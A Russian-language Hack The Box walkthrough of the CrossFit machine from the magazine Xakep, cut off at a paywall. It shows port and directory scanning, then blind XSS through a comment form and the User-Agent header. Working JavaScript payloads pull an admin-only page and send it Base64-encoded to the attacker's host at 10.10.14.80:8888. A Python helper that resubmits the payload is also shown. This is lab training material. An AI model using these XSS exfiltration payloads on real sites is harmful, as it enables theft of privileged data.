Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Адрес машины — 10.10.10.208, добавляем его в /
для удобства.
10.10.10.208 crossfit.htb
Сканируем порты. Я, как всегда, использую небольшой скрипт, который запускает Nmap в два этапа: быстрое общее сканирование и затем сканирование со скриптами на обнаруженных портах.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
По результатам сканирования имеем три открытых порта:
- порт 21 — служба FTP (обрати внимание на наличие сертификата);
- порт 22 — служба SSH;
- порт 80 — веб‑сервер Apache.
На SSH нам ловить нечего, так как там можно разве что брутфорсить учетные данные, а это последнее дело. Куда интереснее наличие сертификата у службы FTP. Как учат все курсы разведки, из сертификата можно получить интересную информацию. У любого сертификата есть важное поле Common Name — доменное имя сервера, для которого действителен сертификат. В нашем случае это gym-club.
.
Найденное имя мы сразу добавляем в файл /
.
10.10.10.208 gym-club.crossfit.htb
Перебор каталогов
Переходим к веб‑серверу. На 80-м порте по адресу http://
нас встречает стартовая страница Apache. А вот по найденному в сертификате домену http://
открывается сайт тренажерного зала.
Одно из первых действий при пентестинге веб‑приложения — это сканирование сайта на наличие интересных каталогов и файлов. Я обычно беру для этого утилиту gobuster. При запуске используем следующие параметры:
-
dir
— сканирование директорий и файлов; -
-k
— не проверять SSL-сертификат; -
-t [
— количество потоков;] -
-u [
— URL-адрес для сканирования;] -
-x [
— интересующие расширения файлов, перечисленные через запятую;] -
-w [
— словарь для перебора;] -
--timeout [
— время ожидания ответа.]
gobuster dir -t 128 -u http://crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
gobuster dir -t 128 -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
По результатам сканирования можно сказать, что http://
интереса больше не представляет. На http://
есть интересный каталог с вызывающим названием security_threat
. В нем — единственный файл, при обращении к которому получаем сообщение, что доступ к информации ограничен.
Пока ничего существенного мы не нашли, но все же получили дополнительную информацию.
Точка входа
При осмотре сайта находим форму отправки комментариев, которые могут быть подвержены XSS. Вот только ответ мы не видим, поэтому нужно выполнить отстук на свой хост. Для этого откроем порт с помощью простого веб‑сервера на Python, чтобы мы могли отлавливать все обращения.
sudo python3 -m http.server 80
И, когда все готово, отправим нагрузку, которая должна загрузить удаленный скрипт на JS.
<script src="http://[локальный IP адрес]/></script>
В качестве ответа на такой комментарий получаем сообщение об обнаруженной и заблокированной атаке XSS!
Здесь сказано, что наш IP-адрес и информация о браузере будут предоставлены администратору ресурса. Прекрасно! Значит, мы можем попробовать выполнить XSS, но уже для администратора.
На источник IP мы повлиять не можем, а вот информацию о браузере сервис узнает из заголовка User-Agent
протокола HTTP. Значение этого заголовка мы можем подменить хоть в самом браузере, хоть в специальных приложениях вроде Burp.
Стоит помнить, что сообщение будет доставлено только в случае детекта XSS. То есть нужно отправить нагрузку и в поле комментария, и в заголовке User-Agent
. Я открыл порт 8888 и заменил значение заголовка при помощи Burp. После отправки запроса получаем отклик в логах нашего веб‑сервера.
Это значит, что мы можем выполнить загрузку удаленного скрипта на JS и эксплуатировать XSS.
XSS
Теперь нужно определиться с вектором атаки. Помнишь страницу с ограничением доступа? От имени администратора мы наверняка сможем ее посмотреть, а XSS поможет нам в этом. Код страницы мы получим, используя методы open
и send
объекта XMLHttpRequest
.
var xhr = new XMLHttpRequest();xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.send();
Код запрошенной страницы здесь сохраняется в переменной xhr.
, и его еще нужно передать на наш сервер, чтобы он отобразился в логах. Значение для сохранения целостности сначала закодируем в Base64, чтобы непечатаемые символы нам не помешали. В качестве триггера для отправки будем использовать метод onload
объекта XMLHttpRequest
. Полный код выглядит следующим образом.
var xhr = new XMLHttpRequest();xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.onload = function () { var request = new XMLHttpRequest(); request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true); request.send();};xhr.send();
Сохраняем его в файл (у меня evil.
) в директории запущенного веб‑сервера. После чего повторяем запрос с известной нагрузкой в заголовке User-Agent
, но уже указываем для загрузки скрипта свой файл.
<script src="http://10.10.14.80:8888/evil.js"></script>
В логах веб‑сервера получаем информацию: сначала о загрузке скрипта, а потом обращение к вымышленной странице. В качестве аргумента приходят данные в кодировке Base64, декодируем их.
К сожалению, ничего интересного мы не получаем, так что в этом месте мне пришлось крепко задуматься о том, как развивать атаку дальше. В голову пришла идея проверить доступные с localhost виртуальные хосты. Сканер для этого придется реализовать самостоятельно.
Идея состоит в том, что мы будем провоцировать удаленный хост снова и снова загружать скрипт на JS с нашего локального сервера, но только каждый раз мы будем возвращать такой скрипт, который вместо страницы http://
будет запрашивать корневую страницу на разных поддоменах http://[
.
Программировать будем на питоне. Нам нужно проверять код ответа — если он равен 200, значит, виртуальный хост существует.
Сначала пишем стандартную «базу» для сервера.
#!/usr/bin/env python3from http.server import BaseHTTPRequestHandler, HTTPServerimport loggingimport requestsdef run(server_class=HTTPServer, handler_class=EvilServer, port=8888): server_address = ('', port) httpd = server_class(server_address, handler_class) request() try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close()if __name__ == '__main__':run()
Чтобы избежать кеширования файла при многократном запросе, будем вести счетчик vhost_number
и каждый раз менять имя файла со скриптом на JS. В качестве словаря используем namelist.txt из набора SecLists.
global vhost_numbervhost_number = 0;with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f: global vhostsvhosts = f.read().split('\n')[:-1]
Теперь реализуем функцию первоначальной отправки комментария, которая будет отсылать нагрузку.
def request(): headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'} data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'} requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»